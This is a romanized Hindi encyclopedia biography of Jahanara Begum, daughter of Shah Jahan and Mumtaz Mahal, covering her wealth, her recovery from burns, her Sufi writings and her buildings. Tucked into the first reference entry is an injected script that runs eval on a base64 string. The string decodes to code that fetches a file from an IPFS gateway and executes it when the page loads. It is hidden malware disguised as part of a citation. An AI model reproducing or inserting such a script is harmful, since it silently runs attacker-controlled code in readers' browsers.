जहाँआरा
jahaanara
| |
| poora nam | jahaanara begam |
| any nam | padashah begam, begam sahab |
| janm | 23 march, 1614 ee.[1] |
| janm bhoomi | ajamer, rajasthan |
| mrityu tithi | 16 sitambar, 1681 ee.[1] |
| pita/mata | shahajahaan aur arjumand bano (mumataz mahal) |
| dharmik manyata | islam |
| vansh | mugal |
| any janakari | aurangazeb ne jab shahajahaan ko agara ke qile mean qaid kar liya to usaki mrityu tak jahaanara ne pita ke sath rahakar usaki seva ki. |
jahaanara (aangrezi: Jahanara, janm: 23 march, 1614 ee. - mrityu: 16 sitambar, 1681 ee.) mugal badashah shahajahaan aur mumataz mahal ki sabase b di putri thi.
parichay
jahaanara ka janm ajamer mean 23 march, 1614 ee. mean hua tha. jab yah chaudah varsh ki thi, tabhi se apane pita ke rajakaryoan mean usaka hath bantati thi. jahaanara 'padashah begam' ya 'begam sahab' ke nam se bhi prasiddh rahi. jahaanara farasi ke pady aur gady ki achchhi jnata thi aur sath hi ise vaidyak ka bhi jnan tha. ise sheroan-shayari ki bhi shauq tha, usake likhe hue bahut-se sher milate haian. apani maan mumataz mahal ki mrityu ke bad shahajahaan ke jivanabhar jahaanara usaki sabase vishvasapatr rahi. ek bar buri tarah jal jane ke karan ise char mahine tak jivan-maran ke bich sangharsh karana p da tha. sabaki samman-bhajan hone ke karan sabhi jahaanara se paramarsh liya karate the.
bhaiyoan mean satta sangharsh ko talane ki jahaanara ne bahut koshish ki thi, lekin vah saphal nahian ho paee. isaki sahanubhooti dara shikoh ke prati thi, phir bhi isane vijayi aurangazeb aur murad se bheant ki aur prastav rakha ki charoan bhaee samrajy ko paraspar baantakar shaantipoorvak rahean. lekin yah sambhav nahian ho paya. aurangazeb ne jab shahajahaan ko agara ke qile mean qaid kar liya to usaki mrityu (janavari, 1666 ee.) tak jahaanara ne pita ke sath rahakar usaki seva ki. apane aantim dinoan mean yah lahaur ke sant miyaan pir ki shishya ban gee thi. 16 sitambar, 1681 ee. ko jahaanara ki mrityu huee.[1]
vishv ki amir shahazadi
mugal shasan ke daur mean mahilaoan ke bahut kam nam samane ae haian, jinamean gulabadan begam, noorajahaan, mumataj mahal, jahaanara, roshanara aur zebunnisa ka nam liya ja sakata hai. unamean bhi do, yani noorajahaan aur mumataj mahal to mallika rahian aur baqiyoan ki haisiyat jahaanara ke barabar nahian pahuanchati hai kyoanki roshanara, kisi haram ki pramukh yani begam sahiba ya padashah begam n ban sakian. jab jahaanara ki maan ki mrityu huee to vo us samay sirf 17 varsh ki thi, aur usi samay se unake kandhoan par mugal samrajy ke haram ka bhar a gaya. badashah shahajahaan apani patni ki maut se itane dukhi hue ki unhoanne ek tarah se ekaant ka jivan guzarana shuroo kar diya.[2]
mahaboob-ur-rahaman kalim apani kitab 'jahaanara' mean likhate haian ki 'mumataj mahal ki maut ke bad badashah ne shok vala kala libas pahan liya tha'. lekin kuchh any itihasakaroan ka kahana hai ki unhoanne bahut hi sadagi ko apana liya tha aur sirf safed libas mean hi nazar ate the. halaanki, unaki patni ki mrityu ke bad, unaki dadhi ke bal bhi safed ho ge the. shahajahaan ne aisi sthiti mean apani kisi doosari mallika ko mahal ke mamaloan ki zimmedari sauanpane ke bajay,apani beti jahaanara ko padashah begam banaya aur unake varshik vajife mean char lakh roopaye aur badha die jisase unaka varshik vajifa das lakh ho gaya.
mashahoor itihasakar 'd aautar aauf d san' ki lekhika, era makhoti batati haian- "jab pashchimi paryatak bharat ate to unhean ye dekhakar ashchary hota ki mugal mahilaaian kitani prabhavashali haian. isake viparit, us samay mean british mahilaoan ke pas aise adhikar nahian the. vo is bat par hairan the ki mahilaean vyapar kar rahi haian aur vo unhean nirdesh de rahi haian ki kis chiz ka vyapar karana hai aur kis chiz ka nahian karana hai. jahaanara ki daulat ka aandaja is bat se lagaya ja sakata hai ki unake pas bahut si jagirean thian, jis din unake pita ki tajaposhi huee thi, us din unhean ek lakh asharphiyaan aur char lakh rupaye die ge the, jabaki chhah lakh varshik vajife ka elan kiya gaya tha aur unaki maan ki maut ke bad unaki sari sanpatti ka adha hissa jahaanara ko de diya gaya aur baki ka adha hissa doosare bachchoan mean baant diya gaya.
aligadh muslim vishvavidyalay mean itihas ke esosiet prophesar d aauktar em. vasim raja jahaanara ki daulat ke bare mean batate haian- "jab unhean padashah begam banaya gaya tha to us din unhean ek lakh asharphiyaan, char lakh rupaye aur isake alava char lakh rupaye varshik ki graant di gee. unhean jo bag die ge uname bag jahaanara, bag noor aur bag sapha aham haian. unaki jagir mean achhal, pharajahara aur bachhol, saphapur, dohara ki sarakarean aur panipat ka paragana diya gaya tha. unhean soorat ka shahar bhi diya gaya tha jahaan unake jahaz chalate the aur aangrejoan ke sath unaka vyapar hota tha."
panjab hist aaurikal sosaiti ke samane 12 aprail, 1913 ko padhe jane vale apane shodhapatr mean nizam haidarabad ki saltanat mean puratatv ke nideshak ji. yazadani ne likha hai ki "isi sal navaroz ke avasar par jahaanara ko 20 lakh ke abhooshan aur javaharat tohafe mean die ge." unhoanne age likha hai ki "jahaanara sadan ke samarohoan ki bhi zimmedar hoti thi, jaise ki badashah ke janmadin aur navaroz adi ke avasar par vahi mukhy karyavahak hoti. vasant rritu mean eed-e-gulabi manaee jati thi. is avasar par shahazade aur padadhikari uttam javaharat vali surahi mean badashah ko arq-e-gulab pesh karate the. etadal shabo roz (yani jab din aur rat barabar hote haian) ka jashn shukravar ko manaya jata tha. us avasar par jahaanara ne 19 march 1637 ko badashah ko dhaee lakh ka ek ashtakoniy sianhasan diya tha."[2]
ag se jalana
jahaanara ke jivan mean ek b di ghatana us samay ghati, jab vo jal gayi aur lagabhag ath mahine tak bistar mean rahane ke bad, jab svasth hueean to badashah ne khushi se saltanat ke khazane ke muanh khol die. 6 aprail 1644 ko jab jahaanara ag ki chapet mean aee thi to unake thik hone ke lie ek sarvajanik udghoshana ki gee. gariboan ko pratidin paise baante jate aur b di sankhya mean kaidiyoan ko riha kiya gaya. shodhakarta ziya-ud-din ahamad apani kitab 'jahaanara' mean mohammad saleh ke havale se likhate haian ki "badashah ne tin dinoan mean 15 hazar asharphiyaan aur lagabhag itane hi rupaye gariboan mean baant die. rozana ek hajar rupaye is tarah se dan kie jate the ki rat mean ek hajar rupaye jahaanara ke takiye ke niche rakh die jate the aur subah ko gariboan mean baant die jate the. varishth adhikari jo ghotaloan ke arop mean qaid the unako riha kar diya gaya aur unake 7 lakh rupaye tak ke qarz maf kar die ge."
ji. yazadani likhate haian ki "jahaanara ke svasth hone par ath dinoan ka jashn manaya gaya tha, unhean sone mean tola gaya aur vo sona gariboan mean baanta gaya. pahale din, shahajahaan ne shahazadi ko 130 moti aur paanch lakh rupaye ke kangan tohafe mean die. doosare din sarapech diya gaya jisamean hire aur moti j de hue the. soorat ka bandaragah bhi isi avasar par diya gaya, jisaki varshik amadani paanch lakh rupaye thi. n sirf jahaanara ko balki unaka ilaj karane vale hakim ko bhi mal aur daulat se bhar diya gaya. hakim mohammad daud ko do hazar paidal aur do sau gho doan ki saradari mili, poshak aur hathi ke alava, ek sone ki kathi vala gho da, 500 tole ki sone ki muhar aur usi vazan ka us avasar par vishesh roop se banaya gaya sikka bhi diya gaya. ek gulam arif ko usake vazan ke barabar sona aur poshak,gho de,hathi aur sat hazar rupaye die ge."[2]
taqatavar mahila noorajahaan
mahaboob-ur-rahaman kalim, begam sahiba ki suandarata ke bare mean likhate haian ki- "jahaanara begam mugaliya vansh mean roop aur charitr ke lihaz se ek bemisal begam thian. vo bahut hi khoobasoorat thian." kuchh itihasakaroan ka kahana hai ki roshanara begam us samay apani suandarata ke lie prasiddh thian, lekin d aauktar barniyar ne likha hai ki "halaanki roshanara begam, unaki chhoti bahan bahut hi suandar hai, lekin jahaanara begam ki suandarata isase kahian jyada hai." jahaanara ka vo sthan tha ki unaka apana alag ek mahal tha jahaan vo rahati thi.
anuvadak aur itihasakar maulavi zakaullah dehalavi ne 'shahajahaannama' mean likha hai ki "jahaanara begam ka mahal shahanshah shahajahaan ke mahal se satakar banaya gaya tha. begam sahiba ka akarshak aur alishan makan aramagah se ju da hua tha aur bahut hi akarshak chitroan se saja hua tha. isake daravazoan aur divar par uchch koti ki karigari ki gee thi. aur jagah jagah kimati javaharat khoobasoorati se j de hue the. usake aangan ke bangale mean jo yamuna ke tat par sthit tha do kaksh the,aur unhean bahut achchhi tarah naqsho nigar se sajaya gaya tha. ye imarat tin manjila ooanchi thi aur us par sone ka kam kiya hua tha.
soofivad ki or jhukav
d aauktar rohama ke anusar- jahaanara apani javani mean hi soofivad ke prati akarshit ho gee thi, lekin jalane ki ghatana ke bad unaka jivan aur adhik faqirana ho gaya tha". lekin usase pahale, mahaboob-ur-rahaman ne likha hai ki pahale unaka jivan jine ka tariqa bahut shahi tha. d aauktar barniyar ke havale se likhate haian ki "unaki savari bahut hi shanadar tariqe se nikalati thi. vo aksar joodol par nikalati thi, jo sianhasan se milata julata tha, aur ise kahar uthate the. isake charoan taraf chitrakari ka kam kiya gaya tha. aur is par reshami parade p de hote the,aur uname zari ki jhalarean aur suandar phuandane tange hote the, jisase isaki khoobasoorati doguna badh jati thi."
"kabhi-kabhi jahaanara begam ek lanbe aur suandar hathi par savar hokar nikalati thi. lekin parade ki sakht paband thi to vo aksar manoranjan ke lie bahut dhoomadham ke sath sair bag jati thi. isake alava unhoanne shahajahaan ke sath kee bar dakkan, panjab, kashmir aur kabul ki sair ki. lekin har paristhiti aur har mauke par unhoanne parade ka poora dhyan rakha. ye sirf unhoanne hi nahian kiya balki mugal vansh ki sabhi begam bahut hi parade vali hoti thian."
vividh vyaktitv
paryatak aur itihasakar barniyar ne likha hai ki- "kisi ke lie bhi in begamoan ke pas jana sanbhav nahian tha aur ye lagabhag asanbhav hai ki vo kisi iansan ko nazar a sakean, sivay us savar ko chho dakar jo galati se in begamoan ki savari ke pas chala jaye. kyoanki vo vyakti kitane bhi ooanche pad par kyoan n ho, kinnaroan ke hathoan se pite bina nahian rah sakata."
d aauktar rohama ka kahana hai ki "itihas ki kitaboan mean jahaanara ke jalane ki ghatana ka vivaran to milata hai, lekin unaki any sevaoan ke bare mean khulakar vyakt nahian kiya jata hai, jabaki vo mugal samrajy ki bahut shaktishali aur prabhavashali shakhsiyat thian. unaki jnan mitrata, soofiyoan ke prati unaka samarpan, unaki udarata, darabar mean unaki rananiti aur baganoan aur vastukala ke prati unaka lagav unake vividh vyaktitv ki pahachan hai."
jahaanara ne do kitabean likhi thian aur donoan hi farasi bhasha mean haian. unhoanne 12vian aur 13vian sadi ke soofi hazarat moinuddin chishti par 'monis al-aravah' ke nam se ek kitab likhi hai. soofiyoan aur santoan ki batoan mean unaki gahari dilachaspi thi. vo apane shuruati dinoan mean hi unhean samajh rahi thi. vo shuroo mean dara aur bad mean apane pita ke sath isase vishay par bahas karati thian. unhoanne likha hai ki ek bar jab vo dara ke sath kitab vapas karane ke bahane hiandustan ki mallika noorajahaan se milane gee, to vo ye janakar hairan rah gee ki noorajahaan ne unhean jo kitabean padhane ke lie di thi unaka nam unhean yad tha. noorajahaan ne poochha ki unhean faizi ki kitab pasand aee ya haroon rashid ki kahaniyaan. jahaanara ne javab diya haroon rashid ki kahaniyaan. noorajahaan ne kaha ki vo umr ke sath shayari ka anand lena shuroo kar degi.
jahaanara ki shiksha ghar mean hi huee thi aur unaki maan ki saheli sati al-nisa begam[3] ne unhean shiksha di. sati al-nisa begam ek shikshit parivar se thi aur unake bhaee talib amali jahaangir ke samay mean malikushshuara (rashtrakavi) ki upadhi se sammanit kiye ge the. jab jahaanara kuchh dinoan ke lie dakkan mean thi to unhean ek aur mahila shikshak padhane ke lie ati thi. unaki doosari kitab 16vian aur 17vian sadi ke kashmir ke soofi mulla shah badakhshi par 'risala sahibiya' hai.
d aauktar rohama ke anusar- "jahaanara se mulla shah badakhshi itane prabhavit the ki vo kahate the ki agar jahaanara ek mahila n hoti to vo unhean apane khalifa (uttaradhikari) ke roop mean namit kar dete." jahaanara ko aupacharik roop se murid (shishy) banane aur apane pir (guru) ke anusar jivan jine vali pahali mugal mahila hone par garv tha. jahaanara ke bare mean kaha jata hai ki unhoanne poore shahajahaannabad yani dilli ka naqsha apani dekharekh mean banavaya tha. kuchh itihasakaroan ka is par matabhed hai, lekin chaandani chauk ke bare mean kisi ko apatti nahian hai. yah bazar unake achchhe shauq aur shahar ki zarooratoan ki pahachan ki nishani hai.
noorajahaan aur mumatah mahal ki tulana
jahaanara ek jagah noorajahaan aur apani maan ki suandarata ki tulana karate hue likhati hai ki- "noorajahaan apani ooanchaee aur chehare ki lanbaee ke karan maan se adhik akarshak aur suandar dikhati thi". lekin vo kahati hai ki "unaki maan bhi bahut khoobasoorat thi aur phool ki tarah khilati thi jise har koee chahe". jahaanara ki dayari se pata chalata hai ki unase b di ek sauteli bahan thi, lekin doosare sabhi bachche shahajahaan ko arjumand ara yani mumataj mahal ke garbh se hue. mahal ka jikr karate hue jahaanara likhati hai- "mahal ke aandar mahilaoan ki duniya hai. shahajadiyaan, raniyaan ,dasiyaan, prashikshu, naukaraniyaan, bavarchin, dhobin, gayikaean, nartakiyaan, chitrakar aur dasiyaan sthitiyoan par nazar rakhati haian aur badashah ko vahaan ki sthiti se avagat karati rahati haian. kuchh mahilaaian shahi parivar se shadi karake aee haian. kuchh ko unaki suandarata ke karan shahazadoan ki pasand par haram mean laya gaya hai, kee ka janm haram ki char divaroan ke bhitar hua hai. kuchh mahilaoan ka kahana hai ki ek bar jab ap haram mean pravesh karate haian, to koee bhi apaka chehara nahian dekh sakata hai. ap ek jinn ki tarah gayab ho jate haian aur kuchh dinoan ke bad apake ghar vale bhi apaki soorat bhool jate haian."
mukhy kary
uparokt ke alava jahaanara ne kee masjidean banavaeean aur ajamer mean hazarat moeenuddin chishti ki daragah par ek baradari ka bhi nirman karaya. d aauktar rohama batati haian ki jab vo daragah par aee, tab unhean ye baradari[4] banane ka khyal aya tha aur usi samay unhoanne seva bhav se is baradari ke nirman ka sankalp liya. unhoanne bahut se bagoan ka bhi nirman karaya.
agara ki jama masjid ke bare mean d aauktar rohama ka kahana hai ki- "isake bare mean vishesh bat yah hai ki isamean ibadat ke lie mahilaoan ke lie ek kamara hai." doosari mahatvapoorn bat yah hai ki mukhy daravaze par pharasi mean ek shilalekh hai, jisamean kisi mugal badashah ki tarah jahaanara ki, unaki adhyatmikata aur unaki pavitrata ki prashansa ki gee hai. yah ek tarah ka qasida padhana hai." jahaanara mahilaoan ke lie ek sarvajanik sthan banane vali pahali mugal shahazadi thi. unhoanne dilli se sate yamuna par sahibabad mean begam ka bag banavaya tha. isamean mahilaoan ke lie sthan arakshit tha balki din bhi arakshit the taki vo azadi ke sath bag ki sair kar sakean aur vahaan ki khoobasoorati ka anand le sakean.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 317 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 shahajahaan ki beti jo thi duniya ki 'sabase amir' shahazadi (hiandi) bbc.com. abhigaman tithi: 02 sitambar, 2020.
- ↑ jinhean sadar al-nisa ke nam se bhi jana jata hai.
- ↑ barah dvaroan vala mahal.
sanbandhit lekh
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